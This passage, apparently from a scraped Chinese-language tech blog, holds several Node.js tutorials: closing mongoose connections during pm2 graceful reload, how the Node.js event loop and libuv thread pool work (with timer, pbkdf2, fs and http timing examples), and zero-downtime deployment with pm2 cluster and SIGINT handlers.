另外筆者把 mongoose 版本改成 v4.13.20 後, 因為沒了建議上要加 useUnifiedTopology 的規則, 使用上就都會正常 Case 1在使用 mongoose 的時候, 其實裡面也能拿到跟 DB 連線的 connection在 mongoose 連線之後, 可以透過此方法 const db = mongoose.connection 取得 connection既然拿得到 connection, 那麼我們也有方式可以關閉的可以透過 db.close(() => {console.log("db is closed")}) 有沒有發現這跟 server close function 也是很類似的用法但在 mongoose 裡面, 是不是會有等待當前程式執行完之後, 才關閉 db 連線的作用呢? 我們先撰寫一個簡單的 api, 使用者呼叫 api 後伺服器會等待五秒後到資料庫取得資料, 並回傳給使用者但我們同時開放一個 api, 呼叫的時候可以關閉 db 連線我們就是要趁在等待的五秒的之中, 去呼叫關閉 db 連線的 api以此去實驗, 在使用者取得資料之前, 這個 db 連線會不會就這樣被關閉 以下為 DEMO 影片成果最左邊為伺服器, 中間為使用者呼叫 API, 最右邊為呼叫關閉 db 連線的 API 但若我們改成直接呼叫關閉的 API 會發現他是能馬上直接關閉的這也證明這個連線是有在被『等待』 Case 2測試完以上的案例後, 可以結合上次提到的 pm2 試試看整個 combo使用情境也是一樣, 使用者呼叫 api 後伺服器會等待五秒後才到資料庫取得資料, 並回傳給使用者但這裡, 我們就不開放一個新的 api 去讓使用者呼叫去關閉 db 連線 這裡我們會跟上次一樣, 把 db.close() 加到 pm2 指定的 graceful reload 的 function 裡面大致樣子會變成以下這個樣子 12345678910db.close(() => { console.log(\"db connection is closed\"); server.close(() => { console.log(\"server is closed\"); // Stop after 10 secs setTimeout(() => { process.exit(); }, 10000); });}) 以下為 DEMO 影片成果 後記影片中的程式碼,放在附錄可以自行去測試但記得要安裝 pm2 和 mongodb 才可以使用至於要如何在 v5.9.13 之後版本而且 useUnifiedTopolog: true 的狀態達成 zero dowmtime 目的就留給下次研究了 附錄1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253// a.jsconst http = require(\"http\");const express = require(\"express\")const app = express()const mongoose = require(\"mongoose\")mongoose.connect('mongodb://localhost:27017/test', { useNewUrlParser: true,});const db = mongoose.connectionconst Cat = mongoose.model('Cat', { name: String });app.use(express.static(__dirname + \"/public\"))app.post(\"/test\", async (req, res) => { let counter = 0; for (let i = 0; i < 10000; i++) { counter+=1 } let startTime = new Date(); while (new Date().getTime() - startTime.getTime() < 2000) { } let allCats = await Cat.find({}, {name: 1}); res.json({ counter, allCats })})app.get(\"/db-close\", async (req, res) => { db.close(() => { res.send(\"db close\") })})const server = http.createServer(app)server.listen(3000, function() { console.log(\"server is up\")})process.on('SIGINT', () => { console.log(\"start closing\") db.close(() => { server.close(() => { // Stop after 10 secs setTimeout(() => { process.exit(); }, 10000); }); })}); 1234567891011121314151617// b.jsconst axios = require(\"axios\")async function main () { for (let i = 0; i < 1000; i++ ) { let data = await axios.post(\"http://localhost:3000/test\", {}, { timeout: 1 * 10000 }).then((response) => { return response.data }) console.log(i) console.log(data) } console.log(\"done\")}main()","link":"/2020/05/11/nodejs-zero-downtime-next/"},{"title":"Event Loop 運行機制解析 - Node.js 篇","text":"Event Loop關於 Event Loop 也寫了兩篇, 針對瀏覽器和 Node.js 版本透過以下兩篇可以更加清楚了解兩者之間的差異 Event Loop 運行機制解析 - 瀏覽器篇Event Loop 運行機制解析 - Node.js 篇 (本篇) 前言去年說好要寫的 Event Loop - Node.js 篇終於完成了話不多說, 直接來看一個範例, 這個範例在 瀏覽器 和 Node.js 上執行上會不會一樣? 123456789101112131415setTimeout(()=>{ console.log('timer1') Promise.resolve().then(function() { console.log('promise1') })}, 0)setTimeout(()=>{ console.log('timer2') Promise.resolve().then(function() { console.log('promise2') })}, 0) ......... 答案是: 只有在 node v10 以前不一樣 (包含 v10) 瀏覽器會印出1234// timer1// promise1// timer2// promise2 Node.js v10 以前會印出, 但 v11 以後就會跟 browser 一樣1234// timer1// timer2// promise1// promise2 有些人用 v8, v10 “有時候”也會執行出跟 v11 一樣的結果這其實有關於 setTimeout 底層的機制和機器效能有關這個會放在最後補充做說明, 但我們先完整了解 Event Loop 後再來解析為何 “有時候” 執行結果會跟 v11 一樣 但為什麼以前會不一樣, 以後卻會一樣?這其實牽涉到 Event Loop 實作的原理我們就透過這個例子, 往下慢慢介紹 Event Loop in Node.js 現在蠻多文章還是停留在 v10 版本之前的 Event Loop這邊就直接以 v10 以前, 以及 v11 以後去做介紹和區別 Node.js Event Loop在整個 Event Loop 中, 最核心的就是執行各種 callback 而何謂『執行各種 callback』以一個生活化例子想像, 煮水的時候, 你什麼時候知道要去把瓦斯關掉?就是當水壺在叫的時候, 會觸發你去關瓦斯, 關瓦斯這件事就是你的 callback 雖然實際上在 Node.js 裡面, 真正去煮水的不會是 Event Loop 本人有時會是其他人去幫你煮水, 而 Event Loop 就是一直去問那個『其他人』, 水到底煮好沒而這邊用的水壺, 可能就是不會叫的那一種, 必須要有其他人盯著看才知道有沒有煮好而這裡的『其他人』可能是 Kernel or Thread Pool詳細後面會介紹到, 這裡先有個概念就好 所以在整個 Event Loop 中, 會不斷接受到各種事件完成的通知Event Loop 就會去執行事情通知完成後, 接著要做的事像是發網路請求, 等到對方網路完成後會告訴你有回應了, Event Loop 就會去執行相對應的 callback但這裡發網路請求, 是透過『其他人』去幫忙處理的, 也就是 Kernel or Thread PoolEvent Loop 本身只負責執行 callback Event Loop 如其名, 就是一個 Loop, 會一直去檢查有沒有各種 callback 可以呼叫但在檢查整個 callback 的過程中, 又會被細分多種 phase不過個人覺得用純文字解釋容易恍神, 就直接上了兩種版本的 Event Loop 的圖建議是可以先看 v10 以前的 Event Loop 去了解脈絡, 再去看 v11 以後 在下面圖中, 我略過了 idle & preare 這一個 phase這個 phase 拿掉是不影響解釋整體 Event LoopNode.js 官網也是標注僅內部使用, 但詳細的內容可能會在之後針對 libuv 的介紹去提到 補充: 因為資料結構是 queue, 所以都是 FIFO 唷 兩者 Event Loop 最大差別在於新版的在執行完『每一個』 setTimeout/setImmediate callback 後, 會執行 JS callback (promise or nextTick) 接著比較有爭議的是 pending callback phase 這兩個解釋在有些比較久的文章上是叫做 I/O callback, 而目前在 Node.js 官網上 pending callback這邊我就參照目前 Node.js 官網最新的名稱 Node.js 官網上是這樣說明的 在 Phase Overview 這樣寫 pending callbacks: executes I/O callbacks deferred to the next loop iteration. 在 Phase in Detail 這樣寫 This phase executes callbacks for some system operations such as types of TCP errors.For example if a TCP socket receives ECONNREFUSED when attempting to connect,some *nix systems want to wait to report the error.This will be queued to execute in the pending callbacks phase. libuv 的官網卻是這樣寫 All I/O callbacks are called right after polling for I/O, for the most part.There are cases, however, in which calling such a callback is deferred for the next loop iteration.If the previous iteration deferred any I/O callback it will be run at this point. 這樣結合一起看後, 基本上 pending callback phase 就是執行上一輪 poll phase 沒有成功觸發的 callback只是 Node.js 官網比較詳細解釋, 像是 TCP error 也會被特意安排在這個 phase 去進行執行 執行範例解釋接著我們按照這兩張圖個別的邏輯, 去解釋剛剛的那一段程式碼 123456789101112131415setTimeout(()=>{ console.log('timer1') Promise.resolve().then(function() { console.log('promise1') })}, 0)setTimeout(()=>{ console.log('timer2') Promise.resolve().then(function() { console.log('promise2') })}, 0) v10 以前思考方式在圖中的前段可以看到, 是先執行 JS callback 再執行 timer callback但這裡主程式執行後, 並沒有 promise 可以執行, 只有看到 timer此時就會先把 timer 塞到 timer phase 裡面的 queue 去queue 裡面就會有 [timer1 callback, timer2 callback] 這樣資料存著 接著會到第一個 JS callback, 但因為裡面沒東西所以啥事都不做 此時執行到 timer phase 的時候, 檢查發現有兩個 timer 可以執行 於是就先執行 dequeue 把 timer1 拿出來去執行 callback執行後發現裡面有一個 promise 可以呼叫於是把 promise callback 塞入到 JS callback queue 裡面此時 JS callback queue 裡面就會有 [promise1 callback] 接著繼續 dequeue 把 timer2 拿出來執行 callback接著一樣發現有一個 promise 可以呼叫所以最後 JS callback queue 裡面變成 [promise1 callback, promise2 callback] timer phase 結束後, 要進入到 pending callback phase 之前會先去檢查 JS callback queue 裡面有沒有可以執行的 callback 於是發現 [promise1 callback, promise2 callback] 在裡面就按照 FIFO 的概念先執行 promise1 callback, 再來是 promise2 callback 所以順序為 timer1 -> timer2 -> promise1 -> promise2 v11 以後思考方式接著 v11 更改過後是會在每一次執行『每一個』 timer 之後, 直接去檢查 JS callback 裡面有沒有可以執行的 callback, 有的話就直接去執行 所以執行到 timer phase 的時候, 因為 queue 裡面有兩個 timer 可以執行於是就先執行 dequeue 把 timer1 拿出來執行執行後發現裡面有一個 promise 可以呼叫於是把 promise1 callback 塞入到 JS callback queue 裡面目前 JS callback queue 裡面有 [promise1 callback] 此時因為 timer1 執行完了, 接著會去檢查 JS callback queue 裡面有沒有東西結果發現有一個 [promise1 callback] 在裡面是可以執行的於是 dequeue promise1 後, 執行其 callback那麼 JS callback queue 裡面就變空的 [] 接著繼續 dequeue 把 timer2 拿出來執行完後一樣發現 promise, 塞入到 JS callback queue 裡面目前 JS callback queue 裡面有 [promise2 callback] 當 timer2 執行完後, 一樣檢查 JS callback queue發現裡面有 [promise2 callback], dequeue promise2 後執行其 callnack 所以順序為 timer1 -> promise1 -> timer2 -> promise2 Node.js Event Loop 差異緣由?那為什麼會有之前之後版本的差異呢?其實源自於 Github Issue MacroTask and MicroTask execution order這個 Issue 提出來之後, 就針對執行 microtask 的時間點去做調整符合瀏覽器的執行結果這時才出現了 v11 版本的 Event Loop 介紹完 Event Loop 後, 常常會有一個隨著 Event Loop 一起被問的問題『Node.js 是 Single Thread 嗎? 』我覺得解釋不如直接跑程式範例讓你看看 Node.js 其實不是 Single Thread?我寫了一個 setTimeout 的程式, 設定 6000 秒後會執行 callback我們就來看看 Node 運行時的背景解析情況 會發現 Node.js 實際上執行的 Thread 其實不止一個這樣就不符合大家講 Node.js 是 Single Thread 的定義了?其實大家講的 Single Thread 就是文章上半段筆者介紹的 Event Loop 的部分 而我們要怎麼證明 Event Loop 是 Single Thread 呢?假設當你的程式中有出現 CPU 密集計算的程式時, 是會 block Event Loop Thread進而導致各式各樣的 callback 無法執行, 可以來看一個最簡單的範例 先看看一般讀檔程式的執行順序 1234567const fs = require(\"fs\")fs.readFile(\"./a.js\", () => { console.log(\"read file!\")})console.log(\"test\");// test// read file! 但萬一我在 console.log("test") 後面接一個無限的 while loop 呢?我讀檔案的 callback 就這樣被鎖死, 永遠都不會執行到了1234567const fs = require(\"fs\")fs.readFile(\"./a.js\", () => { console.log(\"read file!\")})console.log(\"test\");while(true) {}// test 所以當談到 Single Thead 時有些人會誤解 Node.js 就是 Single Thread 的一種語言但實際上並不是, 真正 Single Thead 是 Event Loop 這整個機制也就是執行 JavaScript 的 Thread 只有一條而已 雖然剛剛已經有一個例子證明執行 CPU 密集計算的程式時, 會 block Event Loop但有沒有可能在執行 CPU 密集計算的程式時, 卻不會 block Event Loop? 答案是: 100% 可能 crypto我們來看一個 Node.js 原生模組 crypto 執行的範例這裏 crypto 是去做一個 hmac 的計算並去迭代 10 萬次一直跑計算這是一個很耗費 CPU 計算的模組, 在我電腦上面跑大約耗費 500ms 左右, 1234567const crypto = require(\"crypto\");const start = Date.now();crypto.pbkdf2('a', 'b', 100000, 512, 'sha512', () => { console.log('1:', Date.now() - start);});// 1: 5xx ms 然而當我在往上加一個的話會各是幾秒呢?其實也是一樣各花 5xx ms 123456789101112const crypto = require(\"crypto\");const start = Date.now();crypto.pbkdf2('a', 'b', 100000, 512, 'sha512', () => { console.log('1:', Date.now() - start);});crypto.pbkdf2('a', 'b', 100000, 512, 'sha512', () => { console.log('2:', Date.now() - start);});console.log(\"done\")// done// 1: 5xx ms// 2: 5xx ms 那麼為什麼我透過這樣疊加, 卻不會看到第二個執行完成時間是 1000ms 後呢?先把這問題放在心中, 我們再繼續往下看一個範例 12345678910111213process.env.UV_THREADPOOL_SIZE = 1;const crypto = require(\"crypto\");const start = Date.now();crypto.pbkdf2('a', 'b', 100000, 512, 'sha512', () => { console.log('1:', Date.now() - start);});crypto.pbkdf2('a', 'b', 100000, 512, 'sha512', () => { console.log('2:', Date.now() - start);});console.log(\"done\")// done// 1: 5xx ms// 2: 10xx ms 咦!? 多加了一個 process.env.UV_THREADPOOL_SIZE = 1然後時間卻變成我們預想的 1+1 的概念? UV_THREADPOOL_SIZE 這又是什麼? 因為實際在 Node.js 裡面, 某些 library 是透過底層 libuv 去執行libuv 是實現 Node.js 整個運行機制中的功臣之一libuv 提供了 Node.js Event Loop, Thread Pool 等等重要功能 在 Node.js 運行時, libuv 會預設建立 Thread Pool而這個 Thread Pool 會預設包含四個 Thread 去讓 Node.js 使用所以 Thread 1, 2 會同時去執行 pbkdf2, 所以跑出來的秒數才是一樣的而這裡執行的 pbkdf2 就是所謂非同步執行, 是交由 Thread 1, 2 去執行的 至於前面有一張圖, 為何顯示七條 Threads可以參考此篇 SO why-node-js-spins-7-threads-per-process 的討論 所以當 Thread Pool 的大小只有一個的時候一次只有一個 Thread 能幫你執行 pbkdf2, 自然而然時間就會疊加上去 所以反過來說, 如果 Thread Pool 固定 4 個但執行的 function 變成 8 個時候, 前面四個會是 5xx ms, 後面四個會是 1000ms123456789101112131415161718192021222324const start = Date.now();const crypto = require(\"crypto\");const fs = require(\"fs\");function doHash() { crypto.pbkdf2('a', 'b', 100000, 512, 'sha512', () => { console.log('Hash:', Date.now() - start); });}doHash();doHash();doHash();doHash();doHash();doHash();doHash();doHash();// Hash: 595// Hash: 609// Hash: 613// Hash: 615// Hash: 1212// Hash: 1227// Hash: 1230// Hash: 1244 不過其實這 function 也有同步版本, 是由 Event Loop 這條 Thread 本身去執行的這裡就會發現原本的 done 是等到前面兩個跑完, 才會被執行 1234567891011const crypto = require(\"crypto\");const start = Date.now();crypto.pbkdf2Sync('a', 'b', 100000, 512, 'sha512');console.log('1:', Date.now() - start);crypto.pbkdf2Sync('a', 'b', 100000, 512, 'sha512');console.log('2:', Date.now() - start);console.log(\"done\")// 1: 5xxms// 2: 10xxms// done 所以在寫 Node.js 千萬不要用 xxxSync 版本的 function這種只有在一些特殊狀況可能會用到以 fs.readFileSync 來說, 啟動 https 的 node.js 程式一定要有 private key 和 certificate 才有辦法啟動這時用 fs.readFileSync 去讀這兩個檔案就很適合但像寫 API 程式中, 就先萬不要用 readFileSync 去寫 所以透過以上例子, 可以很清楚知道 Node.js 絕對不是 Single Thread真正 Single Thread 的是 Event Loop接著可能會有人想問, 那關於 檔案讀寫 和 網路 相關的執行, 也都是透過 libuv 嗎?先讓我們看看下面的例子, 你就知道了 fs + crypto我們先來看看執行 node a.js 去讀取 a.js 需要的秒數會多久 12345678// a.jsconst start = Date.now();const crypto = require(\"crypto\");const fs = require(\"fs\");fs.readFile(\"./a.js\", \"utf8\", () => { console.log('FS:', Date.now() - start);})// 3-5 ms 可以看到只有 3-5 ms 的時間但當我在讀檔後面, 加上四個 pbkdf21234567891011121314151617181920const start = Date.now();const crypto = require(\"crypto\");const fs = require(\"fs\");function doHash() { crypto.pbkdf2('a', 'b', 100000, 512, 'sha512', () => { console.log('Hash:', Date.now() - start); });}fs.readFile(\"./a.js\", \"utf8\", () => { console.log('FS:', Date.now() - start);})doHash(); // AdoHash(); // BdoHash(); // CdoHash(); // D// Hash: 540// Hash: 548// Hash: 549// FS: 549// Hash: 554 結果秒數變得跟 doHash 一樣長的時間了!?!?!?為什麼加上 doHash 後會影響 fs 的時間 !? 原因是因為 fs 是跟 pbkdf2 用同樣的 Thread Pool還記得我們只有 4 個 Thread 嗎?在程式一開始執行時, 這四條 Thread 是這樣分配的 fs -> Thread1doHash // A -> Thread2doHash // B -> Thread3doHash // C -> Thread4 但當 Thread1 在執行 fs 的時候, 他只是把任務指派下去交給 File System 去做實際上讀檔行為並不在 Thread1 發生要等到 File System 真正讀完資料後, 是需要一段時間 (雖然這裡只需要 3-5 ms)File System 讀完資料之後, 會再通知 Node.js 的 Thread此時 Thread 就可以把 callback 丟到 Event Loop 去被執行 而這段時間就是在等 callback, 所以在等的這段時間, Thread1 會先不理因為 Thread1 指派任務這件事情結束了它也不知道什麼時候才能把 callback 丟到 Event Loop 去被執行所以 Thread1 就會先去接著做 doHash // D 的事情這時這四條 Thrad 分配變這樣 doHash // A -> Thread2doHash // B -> Thread3doHash // C -> Thread4doHash // D -> Thread1 然後 doHash 需要花費大概 5xx ms 才能結束但如果四條 Thread 都被佔著, 就算 File System 讀在快都沒用因為他沒辦法通知其中一個 Thread所以要等到 Thread 被釋放出去, 才能去迎接 fs 結束的事件通知得到 fs 結束的事件通知後, Thread 才有辦法把 callback 丟到 Event Loop 去等待被執行所以最後 fs 的時間, 才會變成 5xx ms, 遠比一開始的 1-5 ms 還要多很多 所以依照上面 case 這樣修改成以下的把讀檔放在坐後面, 前面只留下 3 個 doHash, 這樣讀檔時間就又會變回來了 123456789101112131415161718const start = Date.now();const crypto = require(\"crypto\");const fs = require(\"fs\");function doHash() { crypto.pbkdf2('a', 'b', 100000, 512, 'sha512', () => { console.log('Hash:', Date.now() - start); });}doHash(); // AdoHash(); // BdoHash(); // Cfs.readFile(\"./a.js\", \"utf8\", () => { console.log('FS:', Date.now() - start);})// FS: 8// Hash: 547// Hash: 548// Hash: 549 原因就是 default Thread Pool 數量是四個這邊剛好四個非同步的 function 要執行, 所以全部 Thread 都有事情做, 就不會發生剛剛的情況 所以可以繼續往下推. 如果再 fs 前面加一個 doHash 就又會變回去了1234567891011121314151617181920const start = Date.now();const crypto = require(\"crypto\");const fs = require(\"fs\");function doHash() { crypto.pbkdf2('a', 'b', 100000, 512, 'sha512', () => { console.log('Hash:', Date.now() - start); });}doHash(); // AdoHash(); // BdoHash(); // CdoHash(); // Dfs.readFile(\"./a.js\", \"utf8\", () => { console.log('FS:', Date.now() - start);})// Hash: 630// FS: 637// Hash: 659// Hash: 659// Hash: 668 所以回歸到問題『關於 檔案讀寫 和 網路 相關的執行, 也都是透過 libuv 嗎?』從上面例子可以看到 fs 其實也是使用 libuv 的 Thread Pool 去執行的那 Network 呢? 我們繼續看下一個例子 network + crypto先看原本執行的時間 12345678910111213const http = require(\"http\")const start = Date.now();function doRequest() { http.request(\"http://localhost:4000\", res => { res.on(\"data\", () => { }) res.on(\"end\", () => { console.log(\"Request:\", Date.now() - start); }); }).end();}doRequest();// Request: 30xx 那因為我設定我 localhost:4000 三秒後回傳所以會發現大約在 3000ms 左右, 這時我把 pbkdf2 加上去看會變怎樣 123456789101112131415161718192021222324252627const http = require(\"http\")const crypto = require(\"crypto\")const start = Date.now();function doHash() { crypto.pbkdf2('a', 'b', 100000, 512, 'sha512', () => { console.log('Hash:', Date.now() - start); });}function doRequest() { http.request(\"http://localhost:4000\", res => { res.on(\"data\", () => { }) res.on(\"end\", () => { console.log(\"Request:\", Date.now() - start); }); }).end();}doRequest();doHash();doHash();doHash();doHash();// Hash: 758// Hash: 761// Hash: 762// Hash: 762// Request: 3032 竟然還是 3000ms 以內 !?!?!? (Node.js 你也太怪了吧所以這樣看起來的意思是 Network 相關的, 不會用 libuv 底層的 ThreadPool 去執行? 且慢, 我們把 doRequest 移動到最後面看看 123456789101112131415161718192021222324252627const http = require(\"http\")const crypto = require(\"crypto\")const start = Date.now();function doHash() { crypto.pbkdf2('a', 'b', 100000, 512, 'sha512', () => { console.log('Hash:', Date.now() - start); });}function doRequest() { http.request(\"http://localhost:4000\", res => { res.on(\"data\", () => { }) res.on(\"end\", () => { console.log(\"Request:\", Date.now() - start); }); }).end();}doHash(); // AdoHash(); // BdoHash(); // CdoHash(); // DdoRequest();// Hash: 609// Hash: 613// Hash: 621// Hash: 624// Request: 3620 竟然變成 36xx ms … !?!?這裡的時間差卻又跟 fs 一樣會被 doHash 影響!?但讓我們再看一個連續一次性呼叫多個 http request case 123456789101112131415161718192021222324252627const http = require(\"http\")const start = Date.now();function doRequest() { http.request(\"http://localhost:4000\", res => { res.on(\"data\", () => { }) res.on(\"end\", () => { console.log(\"Request:\", Date.now() - start); }); }).end();}doRequest();doRequest();doRequest();doRequest();doRequest();doRequest();doRequest();doRequest();// Request: 3025// Request: 3035// Request: 3036// Request: 3036// Request: 3036// Request: 3037// Request: 3037// Request: 3037 會發現都是 3000ms … 秒數其實都是相當接近的, 這究竟是什麼回事 !?這跟行為跟剛剛 fs 連續呼叫 8 個不太一樣 我們先整理目前遇到的三個 network case doRequest 後, 連續四個 doHash -> 3000ms 連續四個 doHash 後, doRequest -> 3600ms 執行連續好幾個 doRequest -> 3000ms 先針對 case 2 說明原因是發 Request 這件事情, 還是要交由 Thread Pool 去觸發所以必須要等到空閒的 Thread 才能去執行 doRequest 那為什麼 case 1 先執行 doRequest 不會造成其中一個 doHash +3000ms 呢?原因是實際執行發請求的地方, 並不是在 Thread 本身發生Thread 只是把這個任務指派出去, 並指派到 OS, 交由 OS 真正去執行發請求所以並不是 Thread 本身去執行發請求的任務, 這點跟執行 fs 是一樣的 這也是為什麼 case 3 連續執行好幾個 doRequest不會像前面好幾個 doHash 一樣會互相影響在 doRequest 中 Thread 只是指派任務, Thread 本身並不會執行在 doHash 中 Thread 是實際執行任務 所以兩者運行起來才會有差別, 不過凡事都有個『但書』再讓我們來看 case 4, 更改的地方是我從 localhost 改成 127.0.0.1 123456789101112131415161718192021222324252627const http = require(\"http\");const crypto = require(\"crypto\");const start = Date.now();function doHash() { crypto.pbkdf2(\"a\", \"b\", 100000, 512, \"sha512\", () => { console.log(\"Hash:\", Date.now() - start); });}function doRequest() { http.request(\"http://127.0.0.1:4000/test\", res => { res.on(\"data\", () => { }); res.on(\"end\", () => { console.log(\"Request:\", Date.now() - start); }); }).end();}doHash();doHash();doHash();doHash();doRequest();// Hash: 697// Hash: 700// Hash: 700// Hash: 703// Request: 3014 按照前面 case2 的想法, 他應該會是 3600ms 對吧?但實際執行後, 其實只有 3000ms … 謎之聲: 乾 Node.js 你也太怪了吧, 不是說好給 Thread Pool 去指派任務嗎 !?!?! (翻桌 原因是當 http 模組發請求是用『IP』而不是『hostname』的時候此時去指派任務的人, 就不是 Thread Pool, 而是 Event Loop 本身這條 Thread但為何會有這樣的區別, 原因是 http 底層用了 dns.lookup 去解析 hostname而 dns.lookup 實作方式就是用 Thread Pool 所以才會有下面這張圖的解釋, 讓大家了解 node 各模組所屬的組別是什麼 以上介紹完 Event Loop Node.js 版本接著我們最後來用文章最一開始的例子, 來去比對瀏覽器和 Node.js 版本中執行的差異吧! 瀏覽器和 Node.js 執行邏輯差異我們一樣拿最一開始的程式碼來解釋, 那因為 Node.js 解釋過了所以這邊用瀏覽器邏輯去解釋, 不過會多加 function name, 會方便等等截圖 123456789101112131415setTimeout(function timer1 () { console.log('timer1') Promise.resolve().then(function promise1() { console.log('promise1') })}, 0)setTimeout(function timer2 () { console.log('timer2') Promise.resolve().then(function promise2() { console.log('promise2') })}, 0) 瀏覽器中存在 task 和 microtask 的概念每一次的 setTimeout 的 callback 裡面都是被歸類在 task 的範疇所以上面執來說, 總共開了兩輪的 task 讓瀏覽器執行 第一輪 task 會印出 timer1然後發現有一個 microtask 可以執行 (promis1), 於是就執行印出 promise1那因為第一輪 task 已經沒有 microtask 可以執行, 於是結束第一輪 task 第二輪 task 會印出 timer2然後發現有一個 microtask 可以執行 (promis2), 於是就執行印出 promise2那因為第一輪 task 已經沒有 microtask 可以執行, 於是結束第二輪 task 從瀏覽器的開發者工具中的 performance 去檢測也會得到一樣的結果前面的 task 包含 timer1 + promise1後面的 task 包含 timer2 + promise2 雖然在瀏覽器和 Node.js 兩者執行結果一樣, 但概念是不一樣的以瀏覽器來說, 執行 Event Loop 兩輪才把程式跑完以 Node.js 來說, 都還沒進到 Event Loop 一半, 程式碼就都已經跑完了等著要跳出 Event Loop 還蠻有趣的對吧 XD 補充 - v10 執行結果有時跟 v11 一樣還記得一開始有提到 v8, v10 執行文章一開始範例的結果有時候會跟 v11 一樣嘛? 看完 Event Loop 後我們來解析這個情況 我們先從『符合邏輯』的方式下去猜想為何有時候會一樣在執行整個程式之後, 把 timer1, timer2 放到 timer phase queue 之後準備要去觸發 timer1, timer2 callback 因為是 timer, 所以他執行的條件就是『你設定的時間已經過期』這個 timer callback 才會被觸發 所以有可能是因為 timer1 已經到達『過期的時間』但 timer2 卻還沒到達『過期的時間』才導致這樣順序 timer1 -> promise2 -> timer2 -> promise2? 更詳細的說明的話第一輪 Event Loop 到了 timer phase 之後發現了只有 timer1 過期可以執行, 於是只執行 timer1 的 callback但此時 timer2 還沒到可以執行的階段, 於是就先跳過 準備進到 pending task phase 之前因為有一個 JS Callback, 這時就先把 promise1 給印出來 接著到了 poll 階段時, 因為 poll phase queue 為空但因為有設置 timer, 且已經到達過期時間於是 Event Loop 就繞回去 timer 階段 此時 timer 階段有一個 timer2就按照 timer phase 執行 timer2 callback然後進入到 pending task 之前的 JS callback又執行了 promise2 這才導致了順序不一樣的問題 但 … 兩個 timer 都設置為 0, 這種可能性是會發生的嗎?我們先來看看 node.js 針對 setTimeout 使用的說明 When delay is larger than 2147483647 or less than 1, the delay will be set to 1.Non-integer delays are truncated to an integer. 有沒有發現一個神奇的點, 也就是說 0 根本不存在你設置 0 的話, 他會直接把你的 0 改成 1 所以實際上程式運行是長這樣123456789101112131415setTimeout(()=>{ console.log('timer1') Promise.resolve().then(function() { console.log('promise1') })}, 1)setTimeout(()=>{ console.log('timer2') Promise.resolve().then(function() { console.log('promise2') })}, 1) 而這裡的 1ms 都是所謂相對時間也就是程式執行當下的相對時間這樣的時間差 + 機器執行的效能花式組合後(?就會達成以下狀況發生, 這時可以再回去看看我們猜想的流程其實是正確的 timer1 就可能先過期且可以執行 timer2 就還沒過期, 所以還不能執行 所以其實 v11 版本也是非常有可能造成以上時間差的問題但因為 v11 機制整體改掉的關係, 所以不會偶爾有執行順序的差別 後記這次 Event Loop - Node.js 篇就介紹到這邊了如果內容有誤或是不清楚的, 非常歡迎大家來找我討論!之後如果有想到什麼其他更好例子, 可能會再慢慢補上來, 讓整體概念更加清楚 因為這篇是以概念為主去針對 Event Loop 介紹下一篇的話, 就會稍微硬一點, 可能會實際來看看 libuv 源碼是怎麼寫 XD 另外若文章有描述不對或怪怪的地方, 請各位大大不要手軟直接指認 XD References verything You Need to Know About Node.js Event Loop - Bert Belder event-loop-timers-and-nexttick New Changes to the Timers and Microtasks in Node v11.0.0 (and above) Node.js Internals: Event loop in action","link":"/2021/03/14/node-event-loop/"},{"title":"Node.js 如何實現 zero downtime 更新呢?","text":"前言工作久了,一定都會面臨到一個問題就是 Zero Downtime 更新 (零停機更新)簡單來說就是『我希望更新的時候,不會影響正在使用的客戶』這邊就紀錄如何去實現這需求 相信寫過 node.js 的人會知道在啟用伺服器的時候,如果重新修改程式要更新的時候,其實正在使用的客戶也會跟著斷線那究竟要如何達到 zero downtime 更新呢?我們來看看以下的 Cases,左邊是模擬伺服器,右邊則是模擬客戶端 Case 1在左邊可以看到,如果我要更新 a.js 的程式內容我必須要先按下 Ctrl + C 把 node.js 取消掉然後重新下 node a.js 才可以但取消的同時,右邊的客戶就會中斷,沒辦法繼續發送請求 Case 2接下來就有一個 pm2 誕生的時候pm2 是一個管理 Node.js process 的工具,很多 production 環境也有在使用這一套當 Node.js 出現錯誤的時候,pm2 會幫忙重啟 Node.js但如果沒用正確,依舊會導致客戶端中斷連線的可能性下面使用 pm2 把 Node.js 啟動,我使用 pm2 start a.js然後我要重新啟動 a.js 的時候,我使用了 pm2 restart a.js,依舊造成客戶斷線 Case 3-1接著就有透過 cluster 去解決這問題這個東西出現是為了解決 Node.js 沒辦法最大化利用電腦多核心的缺點假設電腦有四核心,透過 cluster 可以一次啟用 4 個 Node.js 的 process能接受的 request 量就會比只有 1 個 process 的時候還要更多在 pm2 裡面,是透過 pm2 start a.js -i max 的方式啟用最大核心數然後當程式修改的時候,可以透過 pm2 reload a.js 讓程式重起,但不會影響客戶斷線 Case 3-2但!就是這個但是萬一我們只有一個核心,也就是說只有一個 Node.js process 的時候我們去重新啟用的時候,依舊會發生讓客戶斷線的問題 中場補充要繼續往以下的 case 之前,要介紹在 http module 中有一個 close 的 function當呼叫 server.close(() => {console.log("server is closed")})node.js server 會等到請求處理完事件後才會關閉 中場補充 case 01先來看第一個 case,左邊是我們的 server,右邊是我們客戶端我在 server 添加一個路由 /close,當 match 這個 get close 的時候,就會呼叫 close 流程是這樣當客戶呼叫 server 一個要等待兩秒的 api 時 (模擬高密集 CPU)我另外去呼叫 /close 是不會把目前使用者的請求中斷的而是會等到使用者 response 拿到後,才會關閉 server關閉後左邊 server 就會觸發 callback 印出 server is closed 中場補充 case 02剛剛的 case 是模擬高密集型 CPU接下來就會有一個疑問,network 的也會等到請求結束後才會關閉嗎?答案是:沒錯! 左邊是我們的 server,中間是我們客戶端,右邊是另一個 api server 流程是這樣當客戶呼叫 server 時,此台 server 去呼叫 api server這台 api server 也是要處理兩秒的時間然後另外去呼叫 /close 是不會把目前使用者的請求中斷的而是會等到使用者 response 拿到後,才會關閉 server關閉後左邊 server 就會觸發 callback 印出 server is closed Case 4pm2 cluster 之後就接著出現 graceful relaod透過 pm2 官網的教程把下列這段程式碼加到程式裡面,詳細針對 SIGINT 的說明可以看 pm2 的 explanation-signals-flow然後再利用剛剛中場講到的 server.close() 的特性去等待處理完畢但總會有處理太久的狀況,此時也只能忍痛強制用 process.exit() 跳開此 case 就是一邊修改 server,修改完成後就直接更新可以看到右邊客戶端,拿到的結果也會跟著變,但卻不會造成客戶斷線!透過這種方式可以接近 zero downtime 更新123456789process.on('SIGINT', () => { console.log(\"start closing\") server.close(() => { // Stop after 10 secs setTimeout(() => { process.exit(); }, 10000); });}); Case 5但為何說接近呢?如果你的 Node.js 請求處理的時間,大於 setTimeout 的 10 秒的話,還是會造成客戶斷線但如果請求處理時間,全部都會遠小於這個時間,那就是真的 zero downtime 